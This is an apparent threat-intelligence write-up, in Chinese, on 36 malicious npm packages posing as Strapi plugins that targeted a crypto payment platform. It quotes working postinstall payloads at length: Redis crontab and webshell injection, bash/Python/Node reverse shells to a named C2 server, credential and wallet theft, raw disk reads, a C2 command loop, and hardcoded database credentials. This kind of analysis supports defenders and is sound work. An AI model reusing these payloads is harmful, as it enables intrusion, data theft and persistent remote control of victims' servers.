36 个恶意 npm Strapi 包部署 Redis RCE、数据库窃取和持久化 C2

简而言之

这是一次协调一致的运动,涉及36个恶意npm包,它们伪装成Strapi CMS插件,通过四个sock-puppet npm账户(umarbek1233kekylf12tikeqemif26umar_bektembiev1)发布。与你对包垃圾邮件活动的预期相反,分析后的包携带了不同的载荷——共八个独立变体,揭示了针对特定目标的实时攻击开发过程。

按发布时间顺序排列的包:

  1. strapi-plugin-cron(UTC 02:02)——Redis RCE利用:通过crontab条目注入,编写PHP webshell和Node.js反向shell到Strapi上传目录,尝试SSH authorized_keys注入,通过mknod + dd读取原始磁盘,并窃取Guardarian API模块。
  2. strapi-plugin-config(UTC 02:47)——Redis + Docker overlay逃逸:发现Docker overlay upperdir路径,向overlay和主机可访问目录编写shell载荷,启动Python反向shell,读取原始磁盘获取Elasticsearch和钱包凭据,并向node_modules注入钩子。
  3. strapi-plugin-server(UTC 03:01)、​**strapi-plugin-database(UTC 03:05)、​strapi-plugin-core(UTC 03:06)、​strapi-plugin-hooks**(UTC 03:37)——直接反向shell:主机名门控(hostname.includes('prod')),从C2下载并执行shell脚本,启动bash(端口4444)和Python(端口8888)反向shell,并通过Redis写入和执行shell载荷。
  4. strapi-plugin-monitor(UTC 03:40)——凭据收割器 + 短C2:8阶段攻击,包含智能env_keys过滤、PostgreSQL连接字符串搜索、Redis访问、钱包/密钥文件搜索,以及2.5分钟的轮询C2循环。
  5. strapi-plugin-events(UTC 03:46)——完整凭据收割器 + 长C2:最全面的变体,包含11个阶段,包括.env文件窃取、完整环境变量转储、Strapi配置窃取、文件系统范围秘密发现、Redis数据转储、网络侦察、Docker/Kubernetes秘密窃取、私钥获取,以及5分钟的轮询C2循环。
  6. strapi-plugin-seed(UTC 04:45)——直接PostgreSQL数据库利用:使用硬编码凭据连接(user_strapi / 1QKtYPp18UsyU2ZwInVM),转储Strapi webhook和core_store秘密,枚举服务器上的所有数据库,转储匹配钱包/交易/存款模式的表,并明确探测名为guardarianguardarian_paymentspaymentsexchangecustody的数据库。
  7. [email protected](UTC 11:53)——持久性植入物:主机名门控(hostname === 'prod-strapi'),向/tmp/.node_gc.js写入持久性C2代理,脱离式启动,并在crontab中安装条目以在重启后存活。
  8. [email protected](UTC 15:04)——无文件反向shell + 有针对性凭据窃取:针对/var/www/nowguardarian-strapi//opt/secrets/strapi-green.env,代码注释中引用Jenkins CI管道,扫描/opt/secrets//var/www/*/,并通过node -e生成无文件持久性反向shell。

影响:​

  • 通过CONFIG SET利用Redis写入crontab条目、webshell、反向shell和SSH密钥
  • 尝试通过overlay文件系统发现进行Docker容器逃逸
  • 在端口4444和8888上启动bash和Python反向shell
  • 通过mknod + dd读取原始磁盘以提取密码、钱包助记词和SSH私钥
  • 使用硬编码凭据直接连接PostgreSQL并转储钱包/交易表
  • 枚举服务器上的所有数据库,探测guardarianguardarian_paymentsexchangecustody
  • 窃取.env文件、环境变量、Strapi配置和私钥
  • 转储Redis密钥并搜索PostgreSQL连接字符串
  • 窃取Docker/Kubernetes秘密和服务账户令牌
  • 打开轮询C2会话以执行任意命令
  • 安装持久后门(crontab、脱离进程、无文件执行)
  • 针对特定的加密货币支付平台基础设施

入侵指标(IoC):​

IoC:恶意包

包名版本作者
1strapi-plugin-cron3.6.8umarbek1233
2strapi-plugin-config3.6.8umarbek1233
3strapi-plugin-server3.6.8umarbek1233
4strapi-plugin-database3.6.8umarbek1233
5strapi-plugin-core3.6.8umarbek1233
6strapi-plugin-hooks3.6.8umarbek1233
7strapi-plugin-monitor3.6.8umarbek1233
8strapi-plugin-events3.6.8umarbek1233
9strapi-plugin-logger3.6.8umarbek1233
10strapi-plugin-health3.6.8kekylf12
11strapi-plugin-sync3.6.8kekylf12
12strapi-plugin-seed3.6.8kekylf12
13strapi-plugin-locale3.6.8kekylf12
14strapi-plugin-form3.6.8kekylf12
15strapi-plugin-notify3.6.8kekylf12
16strapi-plugin-api3.6.8kekylf12
17strapi-plugin-api3.6.9kekylf12
18strapi-plugin-sitemap-gen3.6.8tikeqemif26
19strapi-plugin-nordica-tools3.6.10tikeqemif26
20strapi-plugin-nordica-sync3.6.8tikeqemif26
21strapi-plugin-nordica-cms3.6.8tikeqemif26
22strapi-plugin-nordica-api3.6.8tikeqemif26
23strapi-plugin-nordica-recon3.6.8tikeqemif26
24strapi-plugin-nordica-stage3.6.8tikeqemif26
25strapi-plugin-nordica-vhost3.6.8tikeqemif26
26strapi-plugin-nordica-deep3.6.8tikeqemif26
27strapi-plugin-nordica-lite3.6.11tikeqemif26
28strapi-plugin-nordica3.6.10umar_bektembiev1
29strapi-plugin-finseven3.6.8umar_bektembiev1
30strapi-plugin-hextest3.6.8umar_bektembiev1
31strapi-plugin-cms-tools3.6.8umar_bektembiev1
32strapi-plugin-content-sync3.6.8umar_bektembiev1
33strapi-plugin-debug-tools3.6.8umar_bektembiev1
34strapi-plugin-health-check3.6.8umar_bektembiev1
35strapi-plugin-guardarian-ext3.6.8umar_bektembiev1
36strapi-plugin-advanced-uuid3.6.8umar_bektembiev1
37strapi-plugin-blurhash3.6.8umar_bektembiev1

37行

| 3列

IoC:基础设施、凭据和持久性

类别指标详情
1npm账户umarbek1233[email protected]
2npm账户kekylf12[email protected]
3npm账户tikeqemif26未知
4npm账户umar_bektembiev1未知
5C2服务器144[.]31[.]107[.]231:9999HTTP C2
6C2服务器144[.]31[.]107[.]231:4444bash反向shell
7C2服务器144[.]31[.]107[.]231:8888Python反向shell
8C2路径/exfil/数据窃取端点
9C2路径/c2/<id>/凭据收割器C2
10C2路径/db/<id>/数据库利用
11C2路径/shell/持久性植入物C2
12C2路径/build/<id>/无文件shell C2
13C2路径/bshell/反向shell回调
14凭据user_strapi / 1QKtYPp18UsyU2ZwInVM硬编码PostgreSQL凭据
15目标数据库guardarian被探测的数据库名
16目标数据库guardarian_payments被探测的数据库名
17目标数据库payments被探测的数据库名
18目标数据库api_payments被探测的数据库名
19目标数据库exchange被探测的数据库名
20目标数据库custody被探测的数据库名
21持久性/tmp/.node_gc.js持久性C2代理脚本
22持久性crontab pgrep -f node_gccrontab持久性条目
23持久性Redis CONFIG SET crontab通过Redis写入的crontab
24webshell/app/public/uploads/shell.phpPHP webshell
25webshell/app/public/uploads/revshell.jsNode.js反向shell
26持久性文件/tmp/redis_exec.shRedis执行载荷
27持久性文件/tmp/vps_shell.shVPS shell载荷
28持久性文件/app/node_modules/.hooks.js注入的钩子
29原始磁盘访问mknod /tmp/hostdisk b 8 1块设备创建
30原始磁盘访问dd if=/dev/sda1原始磁盘读取
31Redis利用CONFIG SET dir + CONFIG SET dbfilename + SAVE通过Redis的任意文件写入
32文件系统扫描find / for.env*.pem.key id_rsa* wallet*秘密发现命令

32行

| 3列

分析

活动概述

36个包使用四个npm账户发布(umarbek1233发布9个,kekylf12发布7个,tikeqemif26发布10个,umar_bektembiev1发布10个),它们共享相同的3文件包结构和相同的攻击模式。umarbek1233kekylf12账户共享同一个一次性邮件提供商(@sharebot.net),Node.js/npm版本完全相同(v24.13.1 / npm 11.8.0)。这是单个操作者使用多个sock-puppet账户来部署最针对性的变体。

值得注意的是,umar_bektembiev1账户发布最早一批——包括strapi-plugin-nordicastrapi-plugin-finsevenstrapi-plugin-guardarian-ext和其他包——比umarbek1233kekylf12批次早3天。kekylf12账户在两个后来的发布窗口期间都保持活跃——strapi-plugin-seed在UTC 04:45发布(距上一个umarbek1233包不到一小时),而strapi-plugin-api版本则在7-10小时后发布。tikeqemif26账户发布了包括strapi-plugin-nordica-*系列在内的更多波次。这种重叠表明所有四个账户由同一攻击者操作。

每个包包含三个文件(package.jsonindex.jspostinstall.js),没有描述、仓库或主页,使用版本3.6.8以冒充成熟的Strapi v3社区插件。包名遵循合法包使用的命名约定,如strapi-plugin-commentsstrapi-plugin-upload。所有官方Strapi插件都在@strapi/下有作用域,这些无作用域的名称是一种社会工程选择,针对搜索社区插件的开发者。

所有十个包的package.json结构完全相同:

json
{ "name": "strapi-plugin-events", "version": "3.6.8", "main": "index.js", "scripts": { "postinstall": "node postinstall.js" }, "license": "MIT" }

index.js导出一个空函数,不会对任何应用程序产生任何作用:

javascript
module.exports = () => {};

整个载荷位于postinstall.js中,每个包都不同。攻击通过postinstall脚本在npm install时立即执行——无需用户交互或调用require()。postinstall脚本以安装用户的权限运行,在CI/CD环境和Docker容器中通常意味着root权限。

载荷1:Redis RCE利用(strapi-plugin-cron)

该活动中的第一个包试图利用本地可访问的Redis实例进行远程代码执行。这是最激进的载荷——它超越了数据窃取,试图通过Redis对主机进行持久性入侵。

分块数据窃取。​与后来的单一POST发送数据的载荷不同,此变体实现了分块协议,将大载荷分成50KB片段并带有部分编号(例如/exfil/cr-redis-info-p1of3):

javascript
// package/postinstall.js (strapi-plugin-cron) function send(tag, data) { return new Promise(function (resolve) { var body = typeof data === 'string' ? data : JSON.stringify(data); var chunks = []; for (var i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000)); var idx = 0; (function next() { if (idx >= chunks.length) return resolve(); var s = chunks.length > 1 ? '-p' + (idx + 1) + 'of' + chunks.length : ''; var req = http.request({ hostname: VPS, port: PORT, path: '/exfil/' + tag + s, // ... }); })(); }); }

Redis crontab注入。​该脚本使用经典的Redis CONFIG SET dir + SAVE技术将任意文件写入文件系统。它试图注入一个cron条目,每分钟从C2下载并执行一个shell脚本:

javascript
// package/postinstall.js (strapi-plugin-cron) var cronPayload = '\\n\\n*/1 * * * * curl -s http://' + VPS + ':' + PORT + '/shell.sh | bash\\n\\n'; var cronPaths = [ { dir: '/var/spool/cron/crontabs', file: 'root' }, { dir: '/var/spool/cron', file: 'root' }, { dir: '/etc/cron.d', file: 'redis_job' }, { dir: '/etc', file: 'crontab' }, { dir: '/tmp', file: 'cron_test' }, ]; for (var i = 0; i < cronPaths.length; i++) { var p = cronPaths[i]; var cmd = 'CONFIG SET dir ' + p.dir + '\r\n' + 'CONFIG SET dbfilename ' + p.file + '\r\n' + 'SET cron_payload "' + cronPayload + '"\r\n' + 'SAVE\r\n'; var result = await redisCmd(cmd); }

这将Redis数据库文件(包含被二进制数据包围的cron载荷)写入系统crontab目录。尝试了五个路径,包括/tmp/cron_test空运行以首先验证写入能力。

通过Redis写入PHP webshell和Node.js反向shell。​该脚本向Strapi的公共上传目录写入两个额外的载荷:

javascript
// package/postinstall.js (strapi-plugin-cron) // PHP webshell var webshellPayload = '\\n<?php system($_GET["c"]); ?>\\n'; var webshellCmd = 'CONFIG SET dir /app/public/uploads\r\n' + 'CONFIG SET dbfilename shell.php\r\n' + 'SET webshell "' + webshellPayload + '"\r\n' + 'SAVE\r\n'; // Node.js reverse shell var nodeShell = '\\nvar net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);' + 'var c=new net.Socket();c.connect(' + PORT + ',"' + VPS + '",function(){' + 'c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});\\n';

如果Redis有权写入/app/public/uploads/,攻击者将在/uploads/shell.php?c=<command>获得PHP webshell,在/uploads/revshell.js获得Node.js反向shell。

通过Redis注入SSH authorized_keys。​该脚本试图将SSH公钥写入/root/.ssh/authorized_keys

javascript
// package/postinstall.js (strapi-plugin-cron) var sshPayload = '\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test root@vps\\n\\n'; var sshCmd = 'CONFIG SET dir /root/.ssh\r\n' + 'CONFIG SET dbfilename authorized_keys\r\n' + 'SET sshkey "' + sshPayload + '"\r\n' + 'SAVE\r\n';

这里使用的密钥(AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test)是一个占位符——注释// Generate SSH keypair on VPS later确认这是准备通过C2通道注入真实密钥。

原始磁盘读取。​该脚本创建一个块设备节点并使用dd读取原始磁盘,在二进制数据中搜索秘密:

javascript
// package/postinstall.js (strapi-plugin-cron) run('mknod /tmp/hostdisk b 8 1 2>/dev/null'); var rawSecrets = run( 'dd if=/dev/sda1 bs=4096 count=5000 2>/dev/null | strings | ' + 'grep -iE "PASSWORD=|SECRET=|ELASTIC|WALLET|PRIVATE_KEY|MNEMONIC|API_KEY=" | sort -u | head -100', 60000 );

这完全绕过了文件系统权限——即使是被删除的文件或共享同一主机磁盘的其他容器中的文件也可以通过这种方式恢复。

Guardarian API模块窃取。​该脚本专门针对Guardarian API集成模块,从第一个包就确认了对目标的了解:

javascript
// package/postinstall.js (strapi-plugin-cron) await send('cr-gd-module', run('find /app/exteranl-apis -type f -name "*.js" -exec cat {} + 2>/dev/null'));

注意拼写错误exteranl-apis(应为external-apis),必须与目标实际目录名匹配——这是先前侦察的进一步证据。

载荷2:Redis + Docker Overlay逃逸(strapi-plugin-config)

在第一个包发布45分钟后,此载荷在Redis利用方法的基础上增加了Docker容器逃逸技术。

Docker overlay文件系统发现。​该脚本解析mount输出以找到Docker overlay upperdir——存储容器可写层的主机文件系统路径:

javascript
// package/postinstall.js (strapi-plugin-config) var mountInfo = run('mount | grep overlay | head -3'); var upperMatch = mountInfo.match(/upperdir=([^,\s]+)/); var upperDir = upperMatch ? upperMatch[1] : '';

如果容器有权访问/proc/mountsmount命令,upperdir会显示绝对主机路径。然后脚本使用Redis CONFIG SET dir向overlay路径写入shell载荷,有效地将文件写入对主机可见的容器外部。

战略性Redis写入目标。​该脚本将Redis写入策略扩展到crontab之外的多个目录,包括发现的overlay路径:

javascript
// package/postinstall.js (strapi-plugin-config) var paths = [ { dir: upperDir, file: 'shell.sh', desc: 'overlay-root' }, { dir: '/tmp', file: 'shell.sh', desc: 'tmp' }, { dir: '/var/lib/redis', file: 'shell.sh', desc: 'redis-lib' }, { dir: '/var/tmp', file: 'shell.sh', desc: 'var-tmp' }, { dir: '/dev/shm', file: 'shell.sh', desc: 'dev-shm' }, { dir: '/app/public', file: 'shell.sh', desc: 'app-public' }, { dir: '/app/public/uploads', file: 'shell.sh', desc: 'app-uploads' }, ];

Python反向shell。​除了基于Redis的技术外,该脚本还在端口4444上启动直接Python反向shell:

javascript
// package/postinstall.js (strapi-plugin-config) execSync( 'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' + "s.connect(('" + VPS + "',4444));" + 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + "subprocess.call(['/bin/bash','-i'])\" &>/dev/null &", { timeout: 3000 } );

针对特定目标的原始磁盘读取。​磁盘扫描扩展到搜索Elasticsearch凭据、Docker容器配置和加密货币钱包数据:

javascript
// package/postinstall.js (strapi-plugin-config) var rawDocker = run( 'dd if=/dev/sda1 bs=4096 skip=0 count=50000 2>/dev/null | strings | ' + 'grep -B1 -A1 "config.v2.json\\|HOT_WALLET\\|COLD_WALLET\\|DEPOSIT_ADDRESS\\|payment\\|MNEMONIC" | head -100', 120000 );

在原始磁盘数据中搜索HOT_WALLETCOLD_WALLETDEPOSIT_ADDRESSMNEMONIC确认了加密货币窃取目标。

Node_modules钩子注入。​该脚本通过Redis将反向shell触发器写入应用程序的node_modules目录:

javascript
// package/postinstall.js (strapi-plugin-config) var hookPayload = '\\nrequire("child_process").execSync("curl ' + VPS + ':' + PORT + '/shell.sh|bash");\\n'; var hookCmd = 'CONFIG SET dir /app/node_modules\r\n' + 'CONFIG SET dbfilename .hooks.js\r\n' + 'SET hook "' + hookPayload + '"\r\n' + 'SAVE\r\n';

载荷3:直接反向Shell(strapi-plugin-server、database、core、hooks)

在UTC 03:01到03:37之间发布的四个包共享一个相同的简化载荷。攻击者似乎已经放弃了Redis利用方法(可能因为不起作用),转而使用直接shell执行。

主机名门控。​这些包对主机名包含prod进行门控:

javascript
// package/postinstall.js (strapi-plugin-server) var hn = run('hostname').trim(); await send('sv-start', hn); if (!hn.includes('prod')) { await send('sv-skip', 'not-prod'); return; }

这比载荷7的精确prod-strapi匹配检查更宽松——它在任何包含"prod"的主机名上触发(例如prod-strapiproduction-1prod-web)。

多向量反向shell。​该脚本快速连续尝试三种不同的反向shell方法:

javascript
// package/postinstall.js (strapi-plugin-server) // 1. Download and execute shell script from C2 run('curl -s http://' + VPS + ':9999/shell.sh -o /tmp/vps_shell.sh 2>/dev/null'); run('chmod +x /tmp/vps_shell.sh'); execSync('nohup bash /tmp/vps_shell.sh &>/dev/null &', { timeout: 3000 }); // 2. Bash reverse shell on port 4444 execSync('nohup bash -c "bash -i >& /dev/tcp/' + VPS + '/4444 0>&1" &>/dev/null &', { timeout: 3000 }); // 3. Python reverse shell on port 8888 execSync( 'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' + "s.connect(('" + VPS + "',8888));" + 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + "subprocess.call(['/bin/bash','-i'])\" &>/dev/null &", { timeout: 3000 } );

使用三个不同端口(9999、4444、8888),表明攻击者已准备好多个监听器,并且正在防范可能阻止特定端口的防火墙规则。

Redis辅助shell执行。​作为后备,该脚本通过Redis写入shell下载器并执行生成的文件:

javascript
// package/postinstall.js (strapi-plugin-server) c.write( 'CONFIG SET dir /tmp\r\nCONFIG SET dbfilename redis_exec.sh\r\n' + 'SET x "\\n#!/bin/bash\\ncurl -s http://' + VPS + ':9999/shell.sh|bash\\n"\r\n' + 'SAVE\r\nCONFIG SET dir /var/lib/redis\r\nCONFIG SET dbfilename dump.rdb\r\n' ); // Later: execute the Redis-written file run('chmod +x /tmp/redis_exec.sh 2>/dev/null; nohup bash /tmp/redis_exec.sh &>/dev/null &');

载荷4:凭据收割器 + 短C2(strapi-plugin-monitor)

strapi-plugin-events发布前仅3分钟,此包代表从直接利用到侦察的转向。攻击者停止尝试获取shell,开始收集数据。

智能信标,包含env_keys过滤。​与早期载荷中的原始主机名信标不同,此变体的信标包含敏感外观环境变量名的过滤列表:

javascript
// package/postinstall.js (strapi-plugin-monitor) var info = { id: ID, hostname: run('hostname').trim(), whoami: run('whoami').trim(), pwd: process.cwd(), uname: run('uname -a').trim(), ip: run('hostname -I 2>/dev/null || echo n/a').trim(), node: process.version, env_keys: Object.keys(process.env).filter(function (k) { return /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i.test(k); }), };

env_keys过滤器告诉攻击者在窃取其值之前存在哪些敏感变量——这是针对有数百个变量的嘈杂环境的优化。

文件转储,包含/opt/app/路径。​目标路径从标准Docker的/app/转移到/opt/app/——这是某些部署工具使用的约定:

javascript
// package/postinstall.js (strapi-plugin-monitor) var files = [ '/opt/app/.env', '/opt/app/config/database.js', '/opt/app/config/server.js', '/opt/app/config/plugins.js', '/opt/app/package.json', '/root/.env', '/home/strapi/.env', '/etc/hostname', process.cwd() + '/.env', process.cwd() + '/config/database.js', ];

PostgreSQL连接字符串搜索。​这是早期载荷中不存在的新阶段:

javascript
// package/postinstall.js (strapi-plugin-monitor) var pgstr = run("grep -r 'postgres://' /opt/app/ 2>/dev/null; grep -r 'DATABASE_URL' /opt/app/ 2>/dev/null").slice( 0, 5000 ); await post('/c2/' + ID + '/pgstr', pgstr);

更短的C2循环。​轮询C2运行30轮,每5秒间隔(2.5分钟),而下一载荷为60轮(5分钟):

javascript
// package/postinstall.js (strapi-plugin-monitor) for (var round = 0; round < 30; round++) { var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round })); if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop') { var result = run(cmdResp.trim()); await post( '/c2/' + ID + '/result', JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) }) ); } await new Promise(function (r) { setTimeout(r, 5000); }); }

载荷5:完整凭据收割器 + 长C2(strapi-plugin-events)

strapi-plugin-monitor发布6分钟后,这是该活动中最全面的侦察载荷。它扩展了载荷4,增加了更广泛的文件发现、完整环境变量转储、Redis数据提取、网络拓扑映射、Docker/Kubernetes秘密窃取,以及更长的C2窗口。

C2基础设施设置。​该脚本与硬编码服务器建立通信:

javascript
// package/postinstall.js (strapi-plugin-events) var http = require('http'); var exec = require('child_process').execSync; var fs = require('fs'); var VPS = '144.31.107.231'; var PORT = 9999; var ID = 'guard-' + Math.random().toString(36).slice(2, 8);

每个受感染主机生成一个随机会话ID(例如guard-k7f2m9),用于命名空间化所有C2通信。post()辅助函数通过明文HTTP POST将数据发送到C2服务器,超时时间为15秒。

阶段1:信标。​该脚本将系统侦察数据发送到/c2/<id>/beacon

javascript
// package/postinstall.js (strapi-plugin-events) var info = { id: ID, hostname: run('hostname').trim(), whoami: run('whoami').trim(), pwd: process.cwd(), uname: run('uname -a').trim(), ip: run('hostname -I 2>/dev/null || echo n/a').trim(), node: process.version, }; await post('/c2/' + ID + '/beacon', info);

这使攻击者立即获得受感染主机的清单:用户名、主机名、内核版本、内部IP和Node.js版本。

阶段2:.env文件窃取。​该脚本从针对常见Strapi部署布局的硬编码路径读取.env文件:

javascript
// package/postinstall.js (strapi-plugin-events) var envPaths = [ '/app/.env', '/app/.env.production', '/app/.env.local', '/data/.env', '/home/strapi/.env', '/home/node/.env', '/opt/app/.env', '/srv/.env', process.cwd() + '/../.env', process.cwd() + '/../../.env', process.cwd() + '/../../../.env', ];

路径/app/.env/home/strapi/.env/home/node/.env针对使用常见基础镜像运行Strapi的Docker容器。相对路径遍历(../../.env)从node_modules安装目录向上走到达项目根目录。

阶段3:环境变量转储。​该脚本通过shell运行env来捕获每个环境变量,包括数据库连接字符串、云提供商凭据以及Strapi应用程序通常通过环境变量配置的JWT密钥。

javascript
// package/postinstall.js (strapi-plugin-events) var envDump = run('env'); await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));

阶段4:Strapi配置文件。​该脚本专门针对Strapi的配置目录结构:

javascript
// package/postinstall.js (strapi-plugin-events) var configs = [ '/app/config/database.js', '/app/config/server.js', '/app/config/plugins.js', '/app/config/middleware.js', '/app/config/functions/bootstrap.js', '/app/config/environments/production/database.json', '/app/package.json', '/app/yarn.lock', ];

这些文件包含数据库连接详情、第三方插件的API密钥以及应用程序的依赖树。

阶段5:文件系统范围的.env发现。​该脚本使用find定位系统上每个.env文件,深度最多5个目录:

javascript
// package/postinstall.js (strapi-plugin-events) var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null"); await post('/c2/' + ID + '/allenv', allEnv);

这是我们动态分析系统标记的行为。它捕获非标准位置中的.env文件,这些是阶段2中硬编码路径会遗漏的。

阶段6:Redis数据转储。​该脚本打开到本地Redis实例的原始TCP连接并转储所有密钥:

javascript
// package/postinstall.js (strapi-plugin-events) var net = require('net'); var c = new net.Socket(); c.connect(6379, '127.0.0.1', function () { c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n'); });

Strapi部署通常使用Redis进行缓存和会话存储。这会转储服务器信息、数据库大小和每个密钥名称,这些可能包含会话令牌和缓存的API响应。

阶段7:网络侦察。​该脚本收集网络拓扑信息:

javascript
// package/postinstall.js (strapi-plugin-events) var internal = run( 'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null' );

这映射内部网络以便横向移动:DNS解析器、ARP邻居和路由表揭示了从受感染容器可到达的其他服务和主机。

阶段8:Docker和Kubernetes秘密。​该脚本尝试读取容器编排秘密:

javascript
// package/postinstall.js (strapi-plugin-events) var docker = run( 'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null' );

如果Docker socket可访问,攻击者可以控制主机的Docker守护进程。Kubernetes服务账户令牌启用对集群的API访问,可能允许权限升级到受感染的pod之外。

阶段9:私钥和钱包窃取。​该脚本使用find定位加密密钥和加密货币钱包文件:

javascript
// package/postinstall.js (strapi-plugin-events) var keys = run( "find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null" );

然后它读取最多10个发现的文件并将其内容发送到C2服务器。这会捕获TLS私钥、SSH密钥以及名称中包含"private"或"secret"的任何文件。

阶段10:Strapi数据库访问尝试。​该脚本尝试加载应用程序的knex数据库驱动器和配置:

javascript
// package/postinstall.js (strapi-plugin-events) var dbQuery = run( "node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1" );

阶段11:轮询C2循环。​最后阶段建立持久命令与控制通道。该脚本每5秒轮询C2服务器60轮(约5分钟),执行服务器返回的任何命令:

javascript
// package/postinstall.js (strapi-plugin-events) for (var round = 0; round < 60; round++) { var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round })); if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') { var result = run(cmdResp.trim()); await post( '/c2/' + ID + '/result', JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) }) ); } await new Promise(function (r) { setTimeout(r, 5000); }); }

这使攻击者能够对受感染主机进行交互式shell访问。服务器在空闲时响应nopok,在活动时响应shell命令。结果发送回/c2/<id>/result。使用execSync意味着每个命令以Node.js进程的完整权限运行。

数据窃取

所有窃取的数据通过明文HTTP POST发送到144[.]31[.]107[.]231:9999。C2协议使用基于路径的路由:

路径数据
/c2/<id>/beacon系统信息(主机名、用户、IP、内核)
/c2/<id>/env各个.env文件内容
/c2/<id>/envdump完整env输出
/c2/<id>/configStrapi配置文件
/c2/<id>/allenv磁盘上所有.env文件列表
/c2/<id>/sortedenv排序后的环境变量
/c2/<id>/redis-fullRedis服务器信息和所有密钥
/c2/<id>/network/etc/hosts、resolv.conf、ARP、路由
/c2/<id>/dockerDocker socket、秘密、K8s令牌
/c2/<id>/keys发现的私钥文件列表
/c2/<id>/keyfile各个密钥文件的内容
/c2/<id>/resultC2命令的输出

未使用加密。所有数据(包括私钥和凭据)都通过HTTP明文传输。

载荷6:PostgreSQL数据库利用(strapi-plugin-seed)

在UTC 04:45由kekylf12账户发布——就在最后一个umarbek1233包发布后一小时——此载荷代表了先前入侵的最直接证据。它使用硬编码凭据连接到目标的PostgreSQL数据库,确认攻击者在此次活动开始前已经获得了访问权限。

硬编码数据库凭据。​该脚本使用knex(Strapi的数据库驱动器)和烘焙到源代码中的真实凭据:

javascript
// package/postinstall.js (strapi-plugin-seed) var knex = require('knex'); var db = knex({ client: 'pg', connection: { host: process.env.DATABASE_HOST || '127.0.0.1', port: process.env.DATABASE_PORT || 5432, user: process.env.DATABASE_USERNAME || 'user_strapi', password: process.env.DATABASE_PASSWORD || '1QKtYPp18UsyU2ZwInVM', database: process.env.DATABASE_NAME || 'strapi', }, });

后备值user_strapi1QKtYPp18UsyU2ZwInVM不是通用默认值——它们是目标的实际数据库凭据。代码首先检查环境变量(这些变量会在目标的容器中设置),如果变量缺失则回退到硬编码值。

Strapi数据转储。​该脚本查询特定于Strapi的表以获取秘密:

javascript
// package/postinstall.js (strapi-plugin-seed) // Strapi webhooks (internal API URLs) var webhooks = await db.raw('SELECT * FROM strapi_webhooks'); // core_store — filtered for sensitive values var store = await db.raw('SELECT * FROM core_store'); for (var i = 0; i < store.rows.length; i++) { var row = store.rows[i]; var val = String(row.value || ''); if ( val.indexOf('secret') >= 0 || val.indexOf('token') >= 0 || val.indexOf('key') >= 0 || val.indexOf('api') >= 0 || val.indexOf('webhook') >= 0 || val.indexOf('grant') >= 0 || val.indexOf('password') >= 0 || val.indexOf('auth') >= 0 || row.key.indexOf('grant') >= 0 || row.key.indexOf('users') >= 0 ) { await post('/db/' + ID + '/store-' + i, JSON.stringify(row)); } } // users-permissions settings (OAuth provider secrets) var perms = await db.raw( "SELECT * FROM core_store WHERE key LIKE '%users-permissions%' OR key LIKE '%grant%' OR key LIKE '%provider%'" );

跨数据库枚举。​该脚本列出PostgreSQL服务器上的所有数据库,然后连接到每个非系统数据库并转储匹配加密货币相关模式的表:

javascript
// package/postinstall.js (strapi-plugin-seed) var dbs = await db.raw('SELECT datname FROM pg_database WHERE datistemplate = false'); for (var i = 0; i < otherDbs.length; i++) { var db2 = knex({ client: 'pg', connection: { host: '127.0.0.1', port: 5432, user: 'user_strapi', password: '1QKtYPp18UsyU2ZwInVM', database: otherDbs[i].datname, }, }); var tables2 = await db2.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'"); for (var j = 0; j < tables2.rows.length; j++) { var tn = tables2.rows[j].tablename; if ( /wallet|key|address|transaction|deposit|withdraw|hot|cold|secret|setting|config|partner|user|token|balance/i.test( tn ) ) { var data = await db2.raw('SELECT * FROM "' + tn + '" LIMIT 50'); await post('/db/' + ID + '/otherdb-' + otherDbs[i].datname + '-' + tn, JSON.stringify(data.rows)); } } }

表名正则表达式——wallet|transaction|deposit|withdraw|hot|cold|balance——是为加密货币平台数据库模式专门构建的。

明确的Guardarian数据库探测。​该脚本然后尝试连接到六个特定的数据库名:

javascript
// package/postinstall.js (strapi-plugin-seed) for (var dbname of ['payments', 'api_payments', 'guardarian', 'guardarian_payments', 'exchange', 'custody']) { try { var db3 = knex({ client: 'pg', connection: { host: '127.0.0.1', port: 5432, user: 'user_strapi', password: '1QKtYPp18UsyU2ZwInVM', database: dbname, }, }); var t3 = await db3.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'"); await post('/db/' + ID + '/found-db-' + dbname, JSON.stringify(t3.rows)); } catch (e) {} }

名称guardarianguardarian_paymentsexchangecustody使目标毫无疑问。攻击者赌的是Strapi数据库用户可以跨数据库访问支付平台的核心财务数据库——当多个服务共享一个PostgreSQL实例时,这是一种常见的错误配置。

